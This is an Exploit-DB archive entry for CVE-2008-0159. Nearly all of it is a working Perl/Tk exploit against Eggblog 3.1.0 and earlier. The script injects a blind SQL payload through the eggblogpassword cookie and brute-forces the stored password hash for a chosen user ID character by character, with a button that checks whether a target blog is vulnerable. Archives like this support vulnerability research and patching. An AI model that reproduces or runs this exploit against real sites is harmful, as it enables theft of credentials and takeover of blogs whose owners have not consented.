Eggblog <= 3.1.0 Cookies Remote SQL Injection Exploit

2008-01-07T00:00:00
ID EDB-ID:4860
Type exploitdb
Reporter Eugene Minaev
Modified 2008-01-07T00:00:00

Description

Eggblog <= 3.1.0 Cookies Remote SQL Injection Exploit. CVE-2008-0159. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl

	use Tk;
	use Tk::BrowseEntry;
	use Tk::DialogBox;
	use LWP::UserAgent;

	$mw = new MainWindow(title =&gt; "UnderWHAT?!" );

	$mw-&gt;geometry ( '420x343' ) ;
	$mw-&gt;resizable(0,0);

	$mw-&gt;Label(-text =&gt; '', -font =&gt; '{Verdana} 8',-foreground=&gt;'red')-&gt;pack();
	$mw-&gt;Label(-text =&gt; 'eggblog &lt;= 3.1.0 Cookies Sql Injection', -font =&gt; '{Tahoma} 7 bold',-foreground=&gt;'red')-&gt;pack();
	$mw-&gt;Label(-text =&gt; 'it will take about half an hour to get hashed password', -font =&gt; '{Tahoma} 7 bold',-foreground=&gt;'red')-&gt;pack();
	$mw-&gt;Label(-text =&gt; 'you need magic_quotes_gpc turned off and mysql version higher that 4.1', -font =&gt; '{Tahoma} 7 bold',-foreground=&gt;'red')-&gt;pack();
	$mw-&gt;Label(-text =&gt; '', -font =&gt; '{Tahoma} 7 bold',-foreground=&gt;'red')-&gt;pack();


	$fleft  = $mw-&gt;Frame()-&gt;pack ( -side =&gt; 'left', -anchor =&gt; 'ne') ;
	$fright = $mw-&gt;Frame()-&gt;pack ( -side =&gt; 'left', -anchor =&gt; 'nw') ;

	$url      = 'http://test2.ru/eggblog/home/index.php';
	$user_id  = '1';
	$prefix   = 'eggblog_';
	$table    = 'users';
	$column   = 'user_password';
	$report   = '';
	$group    = 1;
	$curr_user = 0;
	


	$fleft-&gt;Label ( -text =&gt; 'Path to forum index: ', -font =&gt; '{Verdana} 8 bold') -&gt;pack ( -side =&gt; "top" , -anchor =&gt; 'e' ) ;
	$fright-&gt;Entry ( -relief =&gt; "groove", -width =&gt; 35, -font =&gt; '{Verdana} 8', -textvariable =&gt; \$url) -&gt;pack ( -side =&gt; "top" , -anchor =&gt; 'w' ) ;

	$fleft-&gt;Label ( -text =&gt; 'User ID: ', -font =&gt; '{Verdana} 8 bold' ) -&gt;pack ( -side =&gt; "top" , -anchor =&gt; 'e' ) ;
	$fright-&gt;Entry ( -relief =&gt; "groove", -width =&gt; 35, -font =&gt; '{Verdana} 8', -textvariable =&gt; \$user_id) -&gt;pack ( -side =&gt; "top" , -anchor =&gt; 'w' ) ;

	$fleft-&gt;Label ( -text =&gt; 'Database tables prefix: ', -font =&gt; '{Verdana} 8 bold') -&gt;pack ( -side =&gt; "top" , -anchor =&gt; 'e' ) ;
	$fright-&gt;Entry ( -relief =&gt; "groove", -width =&gt; 35, -font =&gt; '{Verdana} 8', -textvariable =&gt; \$prefix) -&gt;pack ( -side =&gt; "top" , -anchor =&gt; 'w' ) ;

	$fleft-&gt;Label ( -text =&gt; 'Returned hash: ', -font =&gt; '{Verdana} 8 bold') -&gt;pack ( -side =&gt; "top" , -anchor =&gt; 'e' ) ;
	$fright-&gt;Entry ( -relief =&gt; "groove", -width =&gt; 35, -font =&gt; '{Verdana} 8', -textvariable =&gt; \$report) -&gt;pack ( -side =&gt; "top" , -anchor =&gt; 'w' ) ;

	$fright-&gt;Label( -text =&gt; ' ')-&gt;pack();

	$fright-&gt;Button(-text    =&gt; 'Test blog vulnerability',
	                -relief =&gt; "groove",
	                -width =&gt; '30',
	                -font =&gt; '{Verdana} 8 bold',
	                -activeforeground =&gt; 'red',
	                -command =&gt; \&test_vuln
	               )-&gt;pack();
	
	$fright-&gt;Button(-text    =&gt; 'Get hash from database',
	                -relief =&gt; "groove",
	                -width =&gt; '30',
	                -font =&gt; '{Verdana} 8 bold',
	                -activeforeground =&gt; 'red',
	                -command =&gt; \&get_hash
	               )-&gt;pack();
				   
				   
	$mw   -&gt;Label(-text =&gt; '', -font =&gt; '{Verdana} 7 bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text =&gt; '!', -font =&gt; '{Webdings} 22')-&gt;pack();
	$fleft-&gt;Label(-text =&gt; 'eggblog 3.1.0', -font =&gt; '{Verdana} 7 bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text =&gt; 'cookie sql injection ', -font =&gt; '{Verdana} 7 bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text =&gt; 'mysql char bruteforcing ', -font =&gt; '{Verdana} 7 bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text =&gt; 'bug in auth function ', -font =&gt; '{Verdana} 7 bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text =&gt; 'by gemaglabin and Elekt  ', -font =&gt; '{Verdana} 7 bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text =&gt; '( mafia of antichat.ru ) ', -font =&gt; '{Verdana} 7 bold',-foreground=&gt;'red')-&gt;pack();
	$fleft-&gt;Label(-text =&gt; ' 2007.02.04 ( fixed ) ', -font =&gt; '{Verdana} 7 bold',-foreground=&gt;'red')-&gt;pack();
	$fright-&gt;Label(-text =&gt; '', -font =&gt; '{Verdana} 3 bold',-foreground=&gt;'red')-&gt;pack();
	$print=$fright-&gt;Text(-width=&gt;35,-height=&gt;5,-wrap=&gt;"word")-&gt;pack(-side=&gt;"top",-anchor=&gt;"s");
	
	MainLoop();
	
	sub get_hash()
	{
		srand();
		$xpl = LWP::UserAgent-&gt;new( ) or die;
		$InfoWindow=$mw-&gt;DialogBox(-title   =&gt; 'get hash from database', -buttons =&gt; ["OK"]);
		$i = 1;
		$b = 0;
		$report = '';
		my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
		$print-&gt;insert('end',"- Start [$hour:$min:$sec]\n");
		my @brutearray=qw(48 49 50 51 52 53 54 55 56 57 58 97 98 99 100 101 102);
		while (length($report)&lt;32)
		{
			$num = $brutearray[$b];
			$ret = get_pchar();
			if($ret &gt; 0)
			{
				$print-&gt;insert('end',"- char [$num] = ".chr($num)."\n");
				$report .= chr($num);
				$b = 0;
				$i = $i +1;
				$mw-&gt;update(); 
				break;
			}
			else
			{
				$b = $b +1;
			}
		}
		my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
		$print-&gt;insert('end',"- Finish [$hour:$min:$sec]");
	}
		
	sub get_pchar()
	{
		$res = $xpl-&gt;get($url,'Cookie'=&gt;"eggblogemail=%;eggblogpassword=' or 1=if(ascii(substring((select password from ".$prefix."members where id=$user_id),$i,1))=$num,1,(select 1 union select 2))/*");
		if($res-&gt;as_string =~ /MySQL/i) { return 0;}
		else {return 1;}
	}
		 
	sub test_vuln()
	{
		$xpl = LWP::UserAgent-&gt;new( ) or die;
		$res = $xpl-&gt;get($url,'Cookie'=&gt;"eggblogemail=%;eggblogpassword='");
		if($res-&gt;is_success) 
		{
			$rep = '';
			if($res-&gt;as_string =~ /MySQL/i) 
			{ 
				$print-&gt;insert('end',"- BLOG VULNERABLE\n");
			}
			else { $print-&gt;insert('end',"- BLOG UNVULNERABLE\n");} 
		}
	}

# milw0rm.com [2008-01-07]